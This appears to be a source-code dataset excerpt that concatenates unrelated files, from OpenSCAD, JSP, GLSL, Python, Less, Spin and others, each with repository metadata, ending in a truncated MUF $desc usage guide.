access /dev/null /dev/null nobody nobody * -2 -2 original nobody uid /dev/null /dev/null rje rje * 8 8 RJE Owner /usr/spool/rje changes changes * 11 11 system change log / dist dist sorry 9999 4 file distributions /v/adm/dist /v/bin/sh man man * 99 995 On-line Manual Owner / phoneca phoneca * 991 991 phone call log [tom] /v/adm/log /v/bin/sh
Yacc
0
Crestwave/goawk
testdata/output/t.8.y
[ "MIT" ]
/* Copyright 2021 Scott Bezek and the splitflap contributors Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ use <../shapes.scad> // Customization Options wall_thickness = 4; // thickness of the perimeter wall, along XY bottom_thickness = 2.5; // thickness of the bottom face, along Z pcb_xy_clearance = 0.5; // gap between PCB edges and the perimeter wall, XY pcb_z_clearance = 0.4; // gap between the top of the PCB PCB and the top of the enclosure solder_point_clearance = 4.5; // distance between the bottom of the PCB and the floor of the enclosure, Z wall_corner_radius = 5; // radius of the perimeter wall corners wall_top_radius = 1.5; // radius for the 3D fillet on the top edge of mount mounting_hole_diameter = 6; // diameter of the holes in the mount, large enough for heat-set inserts mounting_hole_clearance = 5; // body clearance around the holes in the mount, XY mounting_hole_boss_radius = 5; // radius for the 2D inside corners of the mounting hole bosses mounting_boss_top_fillet = 2; // radius of the 3D fillet on top of the boss mounting_boss_bottom_fillet = 2; // radius of the 3D fillet on the bottom of the boss (additive) support_boss_width = 15; // total width of the support boss, along X support_boss_length = 6; // total length of the support boss, along Y support_boss_y_offset = 10; // offset of the boss from the PCB edge, along Y support_boss_fillet_radius = 2; // radius of the support boss corners support_boss_top_fillet = 1; // radius of the 3D fillet on top of the boss support_boss_bottom_fillet = 1.5; // radius of the 3D fillet on the bottom of the boss (additive) screw_hole_diameter = 4; // diameter of the holes on either side for screwing into a surface screw_hole_head_diameter = 8.5; // diameter of the bolt head used in the screw hole (for counter-bore) screw_hole_clearance = 4; // body clearance around the screw holes, XY screw_hole_body_thickness = 4; // thickness of the area under the screw hole screw_hole_body_fillet = 100; // radius for the body fillet on the screw hole body (large = max possible) // PCB dimensions taken from KiCAD ("Classic" Driver) pcb_width = 96; pcb_length = 48; pcb_thickness = 1.6; pcb_hole_left_offset = 8.128; // offset from left wall to left holes center pcb_hole_distance_x = 83.312; // hole distances center-to-center pcb_hole_distance_y = 39.878; pcb_hole_coordinates = [ [pcb_hole_left_offset, pcb_length/2 - pcb_hole_distance_y/2], // bottom left [pcb_hole_left_offset, pcb_length/2 + pcb_hole_distance_y/2], // top left [pcb_hole_left_offset + pcb_hole_distance_x, pcb_length/2 - pcb_hole_distance_y/2], // bottom right ]; // Pre-Calculated Values wall_xy_offset = pcb_xy_clearance + wall_thickness; // offset from outside wall to PCB edge (XY) height_to_pcb = bottom_thickness + solder_point_clearance; // distance from Z origin to the bottom face of the PCB total_width = pcb_width + 2*wall_xy_offset; total_length = pcb_length + 2*wall_xy_offset; total_height = height_to_pcb + pcb_thickness + pcb_z_clearance; mounting_hole_boss_offset = mounting_hole_diameter/2 + mounting_hole_clearance; // distance from hole center to boss edge screw_hole_outside_radius = screw_hole_diameter/2 + screw_hole_clearance; // distance from hole center to outside edge screw_hole_3D_fillet = total_height - screw_hole_body_thickness - wall_top_radius; // radius for the 3D fillet on the screw hole body eps = 0.01; module dummy_pcb() { color([0, 0.5, 0]) translate([wall_xy_offset, wall_xy_offset, bottom_thickness + solder_point_clearance]) { linear_extrude(height=pcb_thickness) difference() { square([pcb_width, pcb_length]); mounting_holes(); } } } module pcb_mount_base_2d() { rounded_square([total_width, total_length], r=wall_corner_radius, $fn=60); } module pcb_mount_cutout() { translate([0, 0, bottom_thickness]) linear_extrude(height=total_height + eps, convexity=10) translate([wall_thickness, wall_thickness]) square([pcb_width + 2*pcb_xy_clearance, pcb_length + 2*pcb_xy_clearance]); } module mounting_holes() { for(i = [0 : 2]) { translate(pcb_hole_coordinates[i]) circle(r=mounting_hole_diameter/2, $fn=30); } } module pcb_support_boss() { translate([total_width - wall_thickness - support_boss_width, total_length - wall_xy_offset - support_boss_length - support_boss_y_offset]) { difference() { linear_extrude(height=height_to_pcb) rounded_square([support_boss_width + eps, support_boss_length], r=support_boss_fillet_radius, corners=[0, 1], $fn=60); translate([0, 0, height_to_pcb]) square_fillet_3d([support_boss_width, support_boss_length], r=support_boss_top_fillet, r_corner=support_boss_fillet_radius, overlap=0.1, corners=[0,1], edges=[0,1,3], $fn=30); } translate([0, 0, bottom_thickness]) square_fillet_3d([support_boss_width, support_boss_length], r=support_boss_bottom_fillet, r_corner=support_boss_fillet_radius, overlap=0.1, additive=true, corners=[0,1], edges=[0,1,3], $fn=60); } } module screw_mount_2d(fillet_radius) { translate([-screw_hole_outside_radius, 0]) { difference() { // Main Body union() { circle(r=screw_hole_outside_radius, $fn=60); translate([0, -screw_hole_outside_radius]) square([screw_hole_outside_radius, 2*screw_hole_outside_radius]); } // Through-Hole circle(r=screw_hole_diameter/2, $fn=60); } if(fillet_radius > 0) { // X/Y Fillet, Top translate([screw_hole_outside_radius, screw_hole_outside_radius]) mirror([1, 0, 0]) fillet_tool(r=fillet_radius, $fn=60); // X/Y Fillet, Bottom translate([screw_hole_outside_radius, -screw_hole_outside_radius]) mirror([1, 1, 0]) fillet_tool(r=fillet_radius, $fn=60); } } } module screw_mount() { fillet_radius = min(screw_hole_body_fillet, screw_hole_outside_radius); // fillet can't pass 90° thickness = min(screw_hole_body_thickness, total_height); // don't make extension taller than main body render(convexity=10) // fixes render issues in preview mode (due to number of 3D intersections) translate([0, total_length/2]) difference() { union() { // Main Body linear_extrude(height=thickness) screw_mount_2d(fillet_radius); // 3D Fillet translate([0, 0, thickness]) { length = 2*(screw_hole_outside_radius + fillet_radius + eps); intersection() { translate([0, length/2]) rotate([90, -90, 0]) linear_extrude(height=length) fillet_tool(r=screw_hole_3D_fillet, $fn=120); linear_extrude(height=total_height - thickness) screw_mount_2d(fillet_radius); } } } // Bolt Counter-Bore translate([-screw_hole_outside_radius, 0, thickness - eps]) linear_extrude(height=total_height - thickness + 2*eps) circle(r=screw_hole_head_diameter/2, $fn=30); } } module pcb_mount() { difference() { union() { // Base "Bathtub" difference() { linear_extrude(height=total_height, convexity=10) pcb_mount_base_2d(); pcb_mount_cutout(); } // Mounting Holes Bosses translate([wall_thickness, wall_thickness]) { // Bottom Left translate([-eps, -eps]) { x = pcb_hole_coordinates[0][0] + pcb_xy_clearance + mounting_hole_boss_offset + eps; y = pcb_hole_coordinates[0][1] + pcb_xy_clearance + mounting_hole_boss_offset + eps; difference() { linear_extrude(height=height_to_pcb) rounded_square([x, y], r=mounting_hole_boss_radius, corners=[2], $fn=60); translate([0, 0, height_to_pcb]) square_fillet_3d([x, y], r=mounting_boss_top_fillet, r_corner=mounting_hole_boss_radius, overlap=0.1, corners=[2], edges=[1,2], $fn=60); } translate([0, 0, bottom_thickness]) square_fillet_3d([x, y], r=mounting_boss_bottom_fillet, r_corner=mounting_hole_boss_radius, overlap=0.1, additive=true, corners=[2], edges=[1,2], $fn=60); } // Top Left translate([-eps, pcb_hole_coordinates[1][1] + pcb_xy_clearance - mounting_hole_boss_offset]) { x = pcb_hole_coordinates[1][0] + pcb_xy_clearance + mounting_hole_boss_offset + eps; y = 2*pcb_xy_clearance + pcb_length - pcb_hole_coordinates[1][1] + mounting_hole_boss_offset + eps; difference() { linear_extrude(height=height_to_pcb) rounded_square([x, y], r=mounting_hole_boss_radius, corners=[3], $fn=60); translate([0, 0, height_to_pcb]) square_fillet_3d([x, y], r=mounting_boss_top_fillet, r_corner=mounting_hole_boss_radius, overlap=0.1, corners=[3], edges=[2,3], $fn=60); } translate([0, 0, bottom_thickness]) square_fillet_3d([x, y], r=mounting_boss_bottom_fillet, r_corner=mounting_hole_boss_radius, overlap=0.1, additive=true, corners=[3], edges=[2,3], $fn=60); } // Bottom Right translate([pcb_hole_coordinates[2][0] + pcb_xy_clearance - mounting_hole_boss_offset, -eps]) { x = pcb_width - pcb_hole_coordinates[2][0] + pcb_xy_clearance + mounting_hole_boss_offset + eps; y = pcb_hole_coordinates[2][1] + pcb_xy_clearance + mounting_hole_boss_offset + eps; difference() { linear_extrude(height=height_to_pcb) rounded_square([x, y], r=mounting_hole_boss_radius, corners=[1], $fn=60); translate([0, 0, height_to_pcb]) square_fillet_3d([x, y], r=mounting_boss_top_fillet, r_corner=mounting_hole_boss_radius, overlap=0.1, corners=[1], edges=[0,1], $fn=60); } translate([0, 0, bottom_thickness]) square_fillet_3d([x, y], r=mounting_boss_bottom_fillet, r_corner=mounting_hole_boss_radius, overlap=0.1, additive=true, corners=[1], edges=[0,1], $fn=60); } } // Board Support Boss pcb_support_boss(); // Left screw mount screw_mount(); // Right screw mount translate([total_width, 0]) mirror([1, 0, 0]) screw_mount(); } // Mounting Hole... Holes translate([wall_xy_offset, wall_xy_offset, -eps]) linear_extrude(height=total_height + 2*eps) mounting_holes(); // Top Edge 3D Fillet translate([0, 0, total_height]) square_fillet_3d(size=[total_width, total_length], r=wall_top_radius, r_corner=wall_corner_radius, $fn=60); } } pcb_mount();
OpenSCAD
5
tomihbk/splitflap
3d/tools/classic_pcb_mount.scad
[ "Apache-2.0" ]
<%@ page import="java.util.Calendar" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %> <html> <head> <c:set value="JSTL Formatting Tags Example" var="pageTitle"/> <title> <c:out value="${pageTitle}"/> </title> </head> <body> <h1> <c:out value="${pageTitle}"/> </h1> <div> <h3> <c:out value="<fmt:formatNumber> Example"/> </h3> <c:set var="fee" value="35050.1067"/> <p>Formatted Number - Currency: <fmt:formatNumber value="${fee}" type="currency"/></p> <p>Formatted Number - Maximum Integer Digits: <fmt:formatNumber type="number" maxIntegerDigits="2" value="${fee}"/></p> <p>Formatted Number - Maximum Fraction Digits: <fmt:formatNumber type="number" maxFractionDigits="2" value="${fee}"/></p> <p>Formatted Number - Grouping: <fmt:formatNumber type="number" groupingUsed="false" value="${fee}"/></p> <p>Formatted Number - Percent with Maximum Integer Digits: <fmt:formatNumber type="percent" maxIntegerDigits="3" value="${fee}"/></p> <p>Formatted Number - Percent with Minimum Fraction Digits: <fmt:formatNumber type="percent" minFractionDigits="10" value="${fee}"/></p> <p>Formatted Number Percent with Minimum Integer Digits: <fmt:formatNumber type="percent" minIntegerDigits="4" value="${fee}"/></p> <p>Formatted Number - with Pattern: <fmt:formatNumber type="number" pattern="###.##E0" value="${fee}"/></p> <p>Formatted Number - Currency with Internationalization : <fmt:setLocale value="en_US"/> <fmt:formatNumber value="${fee}" type="currency"/> </p> </div> <div> <h3> <c:out value="<fmt:parseNumber> Example"/> </h3> <fmt:parseNumber var="i" type="number" value="${fee}"/> <p>Parsed Number : <c:out value="${i}"/></p> <fmt:parseNumber var="i" integerOnly="true" type="number" value="${fee}"/> <p>Parsed Number - with Integer Only set to True: <c:out value="${i}"/></p> </div> <div> <h3> <c:out value="<fmt:formatDate> Example"/> <c:set var="now" value="<%= new java.util.Date()%>"/> </h3> <p>Formatted Date - with type set to time: <fmt:formatDate type="time" value="${now}"/></p> <p>Formatted Date - with type set to date: <fmt:formatDate type="date" value="${now}"/></p> <p>Formatted Date - with type set to both: <fmt:formatDate type="both" value="${now}"/></p> <p>Formatted Date - with short style for both date and time: <fmt:formatDate type="both" dateStyle="short" timeStyle="short" value="${now}"/></p> <p>Formatted Date - with medium style for both date and time: <fmt:formatDate type="both" dateStyle="medium" timeStyle="medium" value="${now}"/></p> <p>Formatted Date - with long style for both date and time: <fmt:formatDate type="both" dateStyle="long" timeStyle="long" value="${now}"/></p> <p>Formatted Date - with pattern: <fmt:formatDate pattern="yyyy-MM-dd" value="${now}"/></p> </div> <div> <h3> <c:out value="<fmt:parseDate> Example"/> </h3> <c:set var="today" value="28-03-2018"/> <fmt:parseDate value="${today}" var="parsedDate" pattern="dd-MM-yyyy"/> <p>Parsed Date: <c:out value="${parsedDate}"/></p> </div> <div> <h3> <c:out value="<fmt:bundle> and <fmt:message> Example"/> </h3> <p> <fmt:bundle basename="com.baeldung.jstl.bundles.CustomMessage" prefix="verb."> <fmt:message key="go"/><br/> <fmt:message key="come"/><br/> <fmt:message key="sit"/><br/> <fmt:message key="stand"/><br/> </fmt:bundle> </p> </div> <div> <h3> <c:out value="<fmt:setLocale> Example"/> </h3> <p> <fmt:setLocale value="fr_FR"/> <fmt:bundle basename="com.baeldung.jstl.bundles.CustomMessage" prefix="verb."> <fmt:message key="go"/><br/> <fmt:message key="come"/><br/> <fmt:message key="sit"/><br/> <fmt:message key="stand"/><br/> </fmt:bundle> </p> </div> <div> <h3> <c:out value="<fmt:setBundle> Example"/> </h3> <p> <fmt:setLocale value="En"/> <fmt:setBundle basename="com.baeldung.jstl.bundles.CustomMessage" var="lang"/> <fmt:message key="verb.go" bundle="${lang}"/><br/> <fmt:message key="verb.come" bundle="${lang}"/><br/> <fmt:message key="verb.sit" bundle="${lang}"/><br/> <fmt:message key="verb.stand" bundle="${lang}"/><br/> </p> </div> <div> <h3> <c:out value="<fmt:timeZone> Example"/> </h3> <table border="1" width="40%"> <tr> <td width="100%" colspan="2"> <p align="center"> <b> <font size="4">Time being formatted: <fmt:formatDate value="${now}" type="both" timeStyle="long" dateStyle="long"/> </font> </b> </p> </td> </tr> <c:forEach var="zone" items="<%= java.util.TimeZone.getAvailableIDs()%>" end="4"> <tr> <td width="51%"> <c:out value="${zone}"/> </td> <td width="49%"> <fmt:timeZone value="${zone}"> <fmt:formatDate value="${now}" timeZone="${zn}" type="both"/> </fmt:timeZone> </td> </tr> </c:forEach> </table> </div> <div> <h3> <c:out value="<fmt:setTimeZone> Example"/> </h3> <p>Current Date with Default Time Zone: <fmt:formatDate value="${now}" type="both" timeStyle="long" dateStyle="long"/></p> <p>Change Time Zone to GMT+9</p> <fmt:setTimeZone value="GMT+9"/> <p>Date in Changed Zone: <fmt:formatDate value="${now}" type="both" timeStyle="long" dateStyle="long"/></p> </div> <div> <h3> <c:out value="<fmt:requestEncoding> Example"/> </h3> <fmt:requestEncoding value = "UTF-8" /> <fmt:setLocale value = "fr_FR"/> <fmt:setBundle basename = "com.baeldung.jstl.bundles.CustomMessage" var = "lang"/> <fmt:message key="verb.go" bundle="${lang}"/><br/> <fmt:message key="verb.come" bundle="${lang}"/><br/> <fmt:message key="verb.sit" bundle="${lang}"/><br/> <fmt:message key="verb.stand" bundle="${lang}"/><br/> </div> </body> </html>
Java Server Pages
4
zeesh49/tutorials
spring-mvc-forms-jsp/src/main/webapp/WEB-INF/views/formatting_tags.jsp
[ "MIT" ]
version https://git-lfs.github.com/spec/v1 oid sha256:bfad5d1cae0f4667adc944ff5e2ba08fe7f2c2c92a3da6e1dc83a32afaba34dd size 74956
Mathematica
0
hjred/stride
sources/data/tests/Cube/cube.ma
[ "MIT" ]
primitive StartProcessAuth new create(from: AmbientAuth) => None
Pony
1
presidentbeef/ponyc
packages/process/auth.pony
[ "BSD-2-Clause" ]
/* * example.com * */ Jul 13 Domain Name: example.com Expiration: Aug 13 Registrar: https:// Reminder: Expires next month Aug 6 Domain Name: example.com Expiration: Aug 13 Registrar: https:// Reminder: Expires in 7 days Aug 13 Domain Name: example.com Expiration: Aug 13 Registrar: https:// Reminder: Expires today!
DIGITAL Command Language
0
sbramin/caesonia
src/home/puffy/.calendar/calendar.example.com
[ "0BSD" ]
<form class="input-field nav-panel-item nav-panel-add" style="display: none" name="entry" method="post" action="{{ path('new_entry')}}"> {% if form_errors(form) %} <span class="black-text">{{ form_errors(form) }}</span> {% endif %} <button type="submit" class="nav-form-button" aria-label="add"><i class="material-icons add" aria-hidden="true"></i></button> {% if form_errors(form.url) %} <span class="black-text">{{ form_errors(form.url) }}</span> {% endif %} {{ form_widget(form.url, { 'attr': {'autocomplete': 'off', 'placeholder': 'entry.new.placeholder'} }) }} <i class="material-icons close" aria-label="clear" role="button"></i> {{ form_rest(form) }} </form>
Twig
3
blessleroy/wallabag
src/Wallabag/CoreBundle/Resources/views/themes/material/Entry/new_form.html.twig
[ "MIT" ]
Added ``set_cookie`` and ``del_cookie`` methods to ``HTTPException``
Cucumber
2
loven-doo/aiohttp
CHANGES/4277.feature
[ "Apache-2.0" ]
#version 310 es layout (local_size_x = 8, local_size_y = 8) in; layout (binding = 0) readonly buffer InBuf { uvec4 data[]; } in_buf; layout (binding = 1) writeonly buffer OutBuf { uvec4 data[]; } out_buf; uniform uint in_img_width; uniform uint in_x_offset; uniform uint out_img_width; uniform uint out_x_offset; uniform uint copy_width; void main () { uvec2 g_id = gl_GlobalInvocationID.xy; g_id.x = min (g_id.x, copy_width - 1u); out_buf.data[g_id.y * out_img_width + out_x_offset + g_id.x] = in_buf.data[g_id.y * in_img_width + in_x_offset + g_id.x]; }
Slash
4
zongwave/libxcam
shaders/glsl/shader_copy.comp.sl
[ "Apache-2.0" ]
Module: simple-daytime-client Author: Toby Synopsis: Simple daytime client example sockets code Copyright: Original Code is Copyright (c) 1995-2004 Functional Objects, Inc. All rights reserved. License: See License.txt in this distribution for details. Warranty: Distributed WITHOUT WARRANTY OF ANY KIND // Interesting values for host: // "gemini.tuc.noao.edu", // "webhost.functionalobjects.com", // // You can also use "service: daytime" instead of "port: 13". // // With-socket makes a socket of class <socket> which is an abstract // instantiable class which delegates to <TCP-socket>. Equivalent // alternative syntax which specifies the class of socket explicitly // is: // // with-socket (client-socket :: <TCP-socket>, ...) // // or // // with-socket (client-socket, protocol: "tcp", ...) // "TCP", #"TCP" // define method simple-daytime-client () => (); start-sockets(); with-socket (client-socket, host: "127.0.0.1", port: 13) format-out("%s\n", read-line(client-socket)); end with-socket; end method; simple-daytime-client();
Dylan
4
kryptine/opendylan
sources/network/examples/simple-daytime-client/simple-daytime-client.dylan
[ "BSD-2-Clause" ]
<%inherit file="/base.mako"/> <%namespace file="/message.mako" import="render_msg" /> %if message: ${render_msg( message, status )} %endif <div class="card"> <div class="card-header">Reset Password</div> <form name="reset_password" id="reset_password" action="${h.url_for( controller='user', action='reset_password' )}" method="post" > <div class="form-row"> <label>Email:</label> <input type="text" name="email" value="" size="40"/> </div> <div style="clear: both"></div> <div class="form-row"> <input type="submit" name="reset_password_button" value="Submit"/> </div> </form> </div>
Mako
4
rikeshi/galaxy
lib/tool_shed/webapp/templates/webapps/tool_shed/user/reset_password.mako
[ "CC-BY-3.0" ]
using Uno; using Uno.UX;
Uno
0
mortend/fuse-studio
Source/Simulator/Tests/UXFeaturesTestApp/UXValue/UXValue.uno
[ "MIT" ]
pub fn not_in_lib_std() {}
Rust
0
Eric-Arellano/rust
src/test/ui/hygiene/auxiliary/not-libstd.rs
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
@import "ui-variables"; .toolbar-activity { order: 100; position: relative; .unread-count { display: none; &.active { display: inline-block; background: @component-active-color; text-align: center; color: @white; border-radius: @border-radius-base; font-size: 8px; padding: 0 4px; position: absolute; right: -7px; top: 5px; line-height: 11px; } } .activity-toolbar-icon { margin-top: 20px; background: @gray; &.unread { background: @component-active-color; } } } .activity-list-container { width: 260px; overflow: hidden; font-size: @font-size-small; color: @text-color-subtle; .spacer { flex: 1 1 0; } height: 282px; &.empty { height: 182px; } .empty { text-align: center; padding: @padding-base-horizontal * 2; padding-top: @padding-base-vertical * 8; img.logo { background-color: @text-color-very-subtle; } .text { margin-top: @padding-base-vertical * 6; color: @text-color-very-subtle; } } .activity-list-item { padding: @padding-small-vertical @padding-small-horizontal; white-space: nowrap; border-bottom: 1px solid @border-color-primary; cursor: default; &.unread { color: @text-color; background: @background-primary; &:hover { background: darken(@background-primary, 2%); } .action-message { font-weight: 600; } } &:hover { background: darken(@background-secondary, 2%); } .disclosure-triangle { padding-top: 5px; padding-bottom: 0; } .activity-icon-container { flex-shrink: 0; } .activity-icon { vertical-align: text-bottom; } .action-message, .title { text-overflow: ellipsis; overflow: hidden; } .timestamp { color: @text-color-very-subtle; text-overflow: ellipsis; overflow: hidden; flex-shrink: 0; padding-left: 5px; } } .activity-list-toggle-item { height: 30px; white-space: nowrap; background: @background-secondary; cursor: default; overflow-y: hidden; transition-property: all; transition-duration: .5s; transition-timing-function: cubic-bezier(0, 1, 0.5, 1); &:last-child { border-bottom: 1px solid @border-color-primary; } .action-message { padding: @padding-small-vertical @padding-small-horizontal; text-overflow: ellipsis; overflow: hidden; } .timestamp { padding: @padding-small-vertical @padding-small-horizontal; color: @text-color-very-subtle; text-overflow: ellipsis; overflow: hidden; } } .activity-toggle-container { &.hidden { .activity-list-toggle-item { height: 0; &:last-child { border-bottom: none; } } } } } body.platform-win32, body.platform-linux { .toolbar-activity { margin-right: @padding-base-horizontal; } }
Less
4
cnheider/nylas-mail
packages/client-app/internal_packages/activity-list/stylesheets/activity-list.less
[ "MIT" ]
#include <c10/core/Scalar.h> #include <ATen/core/TensorBody.h> namespace at { #define DEFINE_CAST(T, name) \ template <> \ TORCH_API T* TensorBase::data_ptr() const { \ TORCH_CHECK( \ scalar_type() == ScalarType::name, \ "expected scalar type " \ #name \ " but found ", \ scalar_type()); \ return this->unsafeGetTensorImpl()->data_ptr_impl<T>(); \ } AT_FORALL_SCALAR_TYPES_WITH_COMPLEX_EXCEPT_COMPLEX_HALF(DEFINE_CAST) AT_FORALL_QINT_TYPES(DEFINE_CAST) #undef DEFINE_CAST #define DEFINE_ITEM(T, name) \ template <> \ TORCH_API T Tensor::item() const { \ return item().to##name(); \ } AT_FORALL_SCALAR_TYPES_WITH_COMPLEX_EXCEPT_COMPLEX_HALF(DEFINE_ITEM) #undef DEFINE_ITEM } //namespace at
C++
3
Hacky-DH/pytorch
aten/src/ATen/templates/TensorMethods.cpp
[ "Intel" ]
"""Support for custom shell commands to retrieve values.""" from __future__ import annotations from datetime import timedelta import voluptuous as vol from homeassistant.components.binary_sensor import ( DEVICE_CLASSES_SCHEMA, PLATFORM_SCHEMA, BinarySensorEntity, ) from homeassistant.const import ( CONF_COMMAND, CONF_DEVICE_CLASS, CONF_NAME, CONF_PAYLOAD_OFF, CONF_PAYLOAD_ON, CONF_UNIQUE_ID, CONF_VALUE_TEMPLATE, ) from homeassistant.core import HomeAssistant import homeassistant.helpers.config_validation as cv from homeassistant.helpers.entity_platform import AddEntitiesCallback from homeassistant.helpers.reload import setup_reload_service from homeassistant.helpers.template import Template from homeassistant.helpers.typing import ConfigType, DiscoveryInfoType from .const import CONF_COMMAND_TIMEOUT, DEFAULT_TIMEOUT, DOMAIN, PLATFORMS from .sensor import CommandSensorData DEFAULT_NAME = "Binary Command Sensor" DEFAULT_PAYLOAD_ON = "ON" DEFAULT_PAYLOAD_OFF = "OFF" SCAN_INTERVAL = timedelta(seconds=60) PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend( { vol.Required(CONF_COMMAND): cv.string, vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, vol.Optional(CONF_PAYLOAD_OFF, default=DEFAULT_PAYLOAD_OFF): cv.string, vol.Optional(CONF_PAYLOAD_ON, default=DEFAULT_PAYLOAD_ON): cv.string, vol.Optional(CONF_DEVICE_CLASS): DEVICE_CLASSES_SCHEMA, vol.Optional(CONF_VALUE_TEMPLATE): cv.template, vol.Optional(CONF_COMMAND_TIMEOUT, default=DEFAULT_TIMEOUT): cv.positive_int, vol.Optional(CONF_UNIQUE_ID): cv.string, } ) def setup_platform( hass: HomeAssistant, config: ConfigType, add_entities: AddEntitiesCallback, discovery_info: DiscoveryInfoType | None = None, ) -> None: """Set up the Command line Binary Sensor.""" setup_reload_service(hass, DOMAIN, PLATFORMS) name: str = config[CONF_NAME] command: str = config[CONF_COMMAND] payload_off: str = config[CONF_PAYLOAD_OFF] payload_on: str = config[CONF_PAYLOAD_ON] device_class: str | None = config.get(CONF_DEVICE_CLASS) value_template: Template | None = config.get(CONF_VALUE_TEMPLATE) command_timeout: int = config[CONF_COMMAND_TIMEOUT] unique_id: str | None = config.get(CONF_UNIQUE_ID) if value_template is not None: value_template.hass = hass data = CommandSensorData(hass, command, command_timeout) add_entities( [ CommandBinarySensor( data, name, device_class, payload_on, payload_off, value_template, unique_id, ) ], True, ) class CommandBinarySensor(BinarySensorEntity): """Representation of a command line binary sensor.""" def __init__( self, data: CommandSensorData, name: str, device_class: str | None, payload_on: str, payload_off: str, value_template: Template | None, unique_id: str | None, ) -> None: """Initialize the Command line binary sensor.""" self.data = data self._attr_name = name self._attr_device_class = device_class self._attr_is_on = None self._payload_on = payload_on self._payload_off = payload_off self._value_template = value_template self._attr_unique_id = unique_id def update(self) -> None: """Get the latest data and updates the state.""" self.data.update() value = self.data.value if self._value_template is not None: value = self._value_template.render_with_possible_json_value(value, False) if value == self._payload_on: self._attr_is_on = True elif value == self._payload_off: self._attr_is_on = False
Python
5
MrDelik/core
homeassistant/components/command_line/binary_sensor.py
[ "Apache-2.0" ]
// https://dom.spec.whatwg.org/#xmldocument [Exposed=Window] interface XMLDocument : Document {};
WebIDL
2
Unique184/jsdom
lib/jsdom/living/nodes/XMLDocument.webidl
[ "MIT" ]
CON _clkmode = xtal1 + pll16x _xinfreq = 5_000_000 TX_PIN = 0 BAUD = 9_600 VAR byte i OBJ LCD : "SparkFun_Serial_LCD.spin" PUB Main LCD.init(TX_PIN, BAUD, 2, 16) '2 line, 16 column display waitcnt(clkfreq / 100 + cnt) waitcnt(clkfreq * 3 + cnt) LCD.backlight(140) '40% backlight ' waitcnt(clkfreq + cnt) LCD.cls ' LCD.str(@testmsg) ' waitcnt(clkfreq + cnt) LCD.cls LCD.cursor(0) LCD.str(string("Sparkfun serial LCD Demo")) repeat i from 129 to 157 step 4 LCD.backlight(i) waitcnt(clkfreq / 3 + cnt) LCD.cls LCD.cursor(2) 'block cursor ' waitcnt(clkfreq / 2 + cnt) LCD.home repeat 8 LCD.cursorRight waitcnt(clkfreq / 2 + cnt) repeat 8 LCD.cursorLeft waitcnt(clkfreq / 2 + cnt) LCD.cursor(0) 'cursor off LCD.gotoxy(2, 0) LCD.str(string("line 1")) waitcnt(clkfreq + cnt) LCD.gotoxy(2, 1) LCD.str(string("line 2")) waitcnt(clkfreq / 2 + cnt) repeat repeat i from 0 to 8 LCD.scrollRight waitcnt(clkfreq / 2 + cnt) repeat i from 0 to 8 LCD.scrollLeft waitcnt(clkfreq / 2 + cnt) LCD.finalize
Propeller Spin
5
deets/propeller
libraries/community/p1/All/SparkFun Serial LCD driver/SparkFun_Serial_LCD_3/demo.spin
[ "MIT" ]
@prog gen-desc-docs 1 99999 d 1 i Quick Usage Summary of $desc (gen-desc v2.0) August 2, 1992 by Conrad Wong How to use: $desc is a program that you can use to make more complex messages on descriptions, success, fail, and drop messages. To do so, do this: @desc object = @$desc (description here) (or @succ, @fail, @drop) The description is a normal text message, but may include special 'tokens' which are translated by the $desc program to normal text. For example, you might write this: @desc me = @$desc A cute little fox with %sub[color] eyes. @set me = color:green Then when someone looked at you, they would see: A cute little fox with green eyes. All tokens are of the form %token-name[parameters] and you may nest tokens, so that you may have descriptions which look like this: @desc me = @$desc %sub[%sub[morph] %sub[clothes] Which would take the property name that you had stored in the property 'morph' and substitute the contents of that property. It would also take whatever you had in 'clothes' and add that into the description. You should also bear in mind that lists, when mentioned below, are created by doing this: lsedit object = listname (first line of the list) (second line of the list) .... (last line of the list) .end The lsedit program is very useful for editing lists. Tokens: %sub[<match,>property] Example: %sub[color] %sub[me,species] %sub[here,night] %sub[#321,small] %sub[] is used to take the contents of a property. It normally takes the property from the object that is looked at (or which has the @succ or @fail message) but can be set to use properties from other objects as shown above. %rand[<match,>listname] Example: %rand[buttons] %rand[here,songs] %rand[] takes one of the lines in a list at random. As with %sub[], it normally takes this from the object that is looked at, but can take properties from other objects. %rand[] differs in that it expects the name given to be the name of a list created with lsedit, not a property name. %time[<match,>listname] Table: one item in list -- full day two items in list -- midnight to noon, noon to midnight three items -- midnight to 8 AM, 8 AM to 4 PM, 4 PM to midnight four items -- midnight to 6 AM, 6 AM to noon, noon to 6 PM, 6 PM to midnight six items -- midnight to 4 AM, 4 AM to 8 AM, 8 AM to noon, noon to 4 PM, 4 PM to 8 PM, 8 PM to midnight %date[<match,>listname] Table: one item in list -- full year two items in list -- January to July, August to December three items in list -- Jan. to Apr., May to Aug., Sept. to Dec. four items in list -- winter, spring, summer, fall twelve items in list -- monthly %time[] selects one of the lines in a list, based on the time of the day. That is, the first line corresponds to just after midnight, the last line is before midnight, and all the lines in between are mapped over the day. %date[] is similar, but it does this over the year so that you can have descriptions which vary with the season. %concat[<match,>listname] Rather than taking one item, %concat[] takes each of the items in the list and strings them together into your description. However no spaces are inserted between elements so you must include that, or commas, if you want something to be put in between list elements. %select[<match,>listname,value] Example: %select[here,weather,%sub[me,climate]] This selects one item in a list, given the value. This can be useful in such cases as where you have a number on some object and want to give a description keyed to it. Also, if there is no entry in the list that corresponds, it will take the closest entry less than or equal to that number given. (for instance, you could set only some entries in a list) %select[] was written to allow people to write descriptions that would vary with the size of the people looking. This is generally defined as an implementation-specific macro such as %+size[listname] %if[condition,true<,false>] Example: %if[%sub[me,fly],You fly up into the air,You can't fly!] %if[%sub[light],In the flickering glow you see a trapdoor.] If the condition given (i.e. a substituted property) is not a null string (blank), or FALSE, then it will return the "true" message. Otherwise, it will return either a blank or a "false" message if one is provided. Note that you may combine substitution of properties with %yes[] and %no[] which are described below. %yes[parameter] %no[parameter] Example: 